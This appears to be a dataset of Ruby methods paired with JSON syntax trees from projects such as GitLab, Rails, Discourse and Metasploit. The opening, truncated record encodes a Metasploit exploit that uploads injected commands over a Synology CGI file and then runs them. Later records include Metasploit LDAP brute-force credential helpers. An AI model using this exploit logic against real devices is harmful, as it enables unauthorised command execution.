filename=\\\"bar\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_msg\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_body\"]},\"strip!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_body\"]},\"sub!\",{\"type\":\"lvar\",\"children\":[\"cmd_placeholder\"]},{\"type\":\"lvar\",\"children\":[\"cmds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_body\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\r\\\\n(--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_msg\"]},\"bound\"]}]},{\"type\":\"str\",\"children\":[\")\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"  \\\\1\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Injecting the payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"webman\"]},{\"type\":\"str\",\"children\":[\"imageSelector.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_msg\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-TYPE-NAME\"]},{\"type\":\"str\",\"children\":[\"SLICEUPLOAD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-TMP-FILE\"]},{\"type\":\"str\",\"children\":[\"/usr/syno/synoman/redirect.cgi\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_body\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"error_noprivilege\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response, probably the exploit failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing the payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"redirect.cgi\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response, probably the exploit failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Command successfully executed\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},null]}]}]}","id":"0a4bd569-37b5-4637-a096-8e6941322e5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250114194610_backfill_user_provided_workspace_variables.rb","start_line":39,"raw_source":"def up\n    WorkspaceVariable.reset_column_information\n\n    WorkspaceVariable.each_batch(of: BATCH_SIZE) do |batch|\n      batch.where(variable_type: VARIABLE_ENV_TYPE).where.not(key: WORKSPACE_INTERNAL_VARIABLES)\n      .update_all(user_provided: true)\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkspaceVariable\"]},\"reset_column_information\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkspaceVariable\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variable_type\"]},{\"type\":\"const\",\"children\":[null,\"VARIABLE_ENV_TYPE\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"const\",\"children\":[null,\"WORKSPACE_INTERNAL_VARIABLES\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_provided\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"bab988a6-0582-4a95-b792-c705105ae153"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/components/meetings/table_component_spec.rb","start_line":34,"raw_source":"def render_component(...)\n    render_inline(described_class.new(...))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_component\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_inline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"9072da50-529c-4bfc-941a-0aef55a1aa81"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/analyzer/audio_analyzer.rb","start_line":19,"raw_source":"def metadata\n      { duration: duration, bit_rate: bit_rate, sample_rate: sample_rate, tags: tags }.compact\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[null,\"duration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bit_rate\"]},{\"type\":\"send\",\"children\":[null,\"bit_rate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sample_rate\"]},{\"type\":\"send\",\"children\":[null,\"sample_rate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[null,\"tags\"]}]}]},\"compact\"]}]}","id":"484eb0fc-2bc3-4d86-a521-f5c96db91d0c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/controllers/discourse_subscriptions/admin/plans_controller.rb","start_line":46,"raw_source":"def show\n        begin\n          plan = ::Stripe::Price.retrieve(params[:id])\n\n          if plan[:metadata] && plan[:metadata][:trial_period_days]\n            trial_days = plan[:metadata][:trial_period_days]\n          elsif plan[:recurring] && plan[:recurring][:trial_period_days]\n            trial_days = plan[:recurring][:trial_period_days]\n          end\n\n          interval = nil\n          interval = plan[:recurring][:interval] if plan[:recurring] && plan[:recurring][:interval]\n\n          serialized =\n            plan.to_h.merge(\n              trial_period_days: trial_days,\n              currency: plan[:currency].upcase,\n              interval: interval,\n            )\n\n          render_json_dump serialized\n        rescue ::Stripe::InvalidRequestError => e\n          render_json_error e.message\n        end\n      end","complexity_score":51.7,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plan\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"Price\"]},\"retrieve\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"trial_period_days\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trial_days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"trial_period_days\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recurring\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recurring\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"trial_period_days\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trial_days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recurring\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"trial_period_days\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recurring\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recurring\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recurring\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"serialized\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"to_h\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trial_period_days\"]},{\"type\":\"lvar\",\"children\":[\"trial_days\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"currency\"]}]},\"upcase\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"lvar\",\"children\":[\"serialized\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"InvalidRequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}","id":"3d0a33f9-a0eb-4e5e-ba0b-3c00cab1d747"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/ci/pipeline_schedules_spec.rb","start_line":22,"raw_source":"def create_pipeline_schedules(count)\n        create_list(:ci_pipeline_schedule, count, project: project)\n          .each do |pipeline_schedule|\n          create(:user).tap do |user|\n            project.add_developer(user)\n            pipeline_schedule.update!(owner: user)\n          end\n          pipeline_schedule.pipelines << build(:ci_pipeline, project: project)\n        end\n      end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_pipeline_schedules\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_list\",{\"type\":\"sym\",\"children\":[\"ci_pipeline_schedule\"]},{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline_schedule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"add_developer\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_schedule\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_schedule\"]},\"pipelines\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"sym\",\"children\":[\"ci_pipeline\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}]}]}","id":"691e75af-0eeb-44ab-a0e5-c4ad394506fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/work_package_list_to_pdf.rb","start_line":205,"raw_source":"def batch_supported?\n    return @batch_supported if defined?(@batch_supported)\n\n    @batch_supported =\n      begin\n        _, status = Open3.capture2e(\"pdfunite\", \"-h\")\n        status.success?\n      rescue StandardError => e\n        Rails.logger.error \"Failed to test pdfunite version: #{e.message}\"\n        false\n      end\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_supported?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@batch_supported\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@batch_supported\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@batch_supported\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"capture2e\",{\"type\":\"str\",\"children\":[\"pdfunite\"]},{\"type\":\"str\",\"children\":[\"-h\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to test pdfunite version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}]}]}]}","id":"52f3cf3e-1133-4d6e-8610-2e19d8b57d8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/pagination_params.rb","start_line":25,"raw_source":"def verify_pagination_params!\n          return if Feature.disabled?(:only_positive_pagination_values)\n\n          page = begin\n            Integer(params[:page])\n          rescue ArgumentError, TypeError\n            nil\n          end\n\n          return render_structured_api_error!({ error: 'page does not have a valid value' }, 400) if page&.< 1\n\n          per_page = begin\n            Integer(params[:per_page])\n          rescue ArgumentError, TypeError\n            nil\n          end\n\n          return render_structured_api_error!({ error: 'per_page does not have a valid value' }, 400) if per_page&.< 1\n        end","complexity_score":21.25,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_pagination_params!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"only_positive_pagination_values\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_structured_api_error!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"page does not have a valid value\"]}]}]},{\"type\":\"int\",\"children\":[400]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_structured_api_error!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"per_page does not have a valid value\"]}]}]},{\"type\":\"int\",\"children\":[400]}]}]},null]}]}]}","id":"091b236e-a2d2-4fea-ba9c-ae6963bb083e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff_tree.rb","start_line":10,"raw_source":"def initialize(left_tree_id, right_tree_id)\n        @left_tree_id = left_tree_id\n        @right_tree_id = right_tree_id\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_tree_id\"]},{\"type\":\"arg\",\"children\":[\"right_tree_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@left_tree_id\",{\"type\":\"lvar\",\"children\":[\"left_tree_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@right_tree_id\",{\"type\":\"lvar\",\"children\":[\"right_tree_id\"]}]}]}]}","id":"ae45b8b3-ef3a-43ec-9737-d479a97ec6bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline_schedule.rb","start_line":90,"raw_source":"def job_variables\n      variables&.map(&:to_hash_variable) || []\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"job_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variables\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_hash_variable\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"695c2721-c520-4486-a315-36ecbcf06a67"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy.rb","start_line":33,"raw_source":"def self.cookies=(value)\n    if value == false\n      if defined?(Mongoid::Document) && defined?(Ahoy::Visit) && Ahoy::Visit < Mongoid::Document\n        raise <<~EOS\n          This feature requires a new index in Ahoy 5. Set:\n\n            class Ahoy::Visit\n              index({visitor_token: 1, started_at: 1})\n            end\n\n          Create the index before upgrading, and set:\n\n            Ahoy.cookies = :none\n        EOS\n      else\n        raise <<~EOS\n          This feature requires a new index in Ahoy 5. Create a migration with:\n\n            add_index :ahoy_visits, [:visitor_token, :started_at]\n\n          Run it before upgrading, and set:\n\n            Ahoy.cookies = :none\n        EOS\n      end\n    end\n    @@cookies = value\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cookies=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mongoid\"]},\"Document\"]}]},{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mongoid\"]},\"Document\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This feature requires a new index in Ahoy 5. Set:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  class Ahoy::Visit\\n\"]},{\"type\":\"str\",\"children\":[\"    index({visitor_token: 1, started_at: 1})\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Create the index before upgrading, and set:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  Ahoy.cookies = :none\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This feature requires a new index in Ahoy 5. Create a migration with:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  add_index :ahoy_visits, [:visitor_token, :started_at]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Run it before upgrading, and set:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  Ahoy.cookies = :none\\n\"]}]}]}]},null]},{\"type\":\"cvasgn\",\"children\":[\"@@cookies\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"a631038c-7d53-4a72-8e74-9dc8f83135f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/pop2.rb","start_line":120,"raw_source":"def pass\n    datastore['POP2PASS']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"POP2PASS\"]}]}]}","id":"0959fbd3-2b31-49cc-b3b6-eb4ebf133728"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ldap/ldap_login.rb","start_line":206,"raw_source":"def build_specific_credential_collection(void_login:, no_password_login:)\n    if void_login\n      Metasploit::Framework::PrivateCredentialCollection.new({\n        nil_passwords: true\n      })\n    elsif no_password_login\n      Metasploit::Framework::CredentialCollection.new({\n        username: datastore['LDAPUsername'],\n        nil_passwords: true\n      })\n    else\n      build_credential_collection(\n        username: datastore['LDAPUsername'],\n        password: datastore['LDAPPassword'],\n        realm: datastore['DOMAIN'],\n        anonymous_login: datastore['ANONYMOUS_LOGIN'],\n        blank_passwords: false\n      )\n    end\n  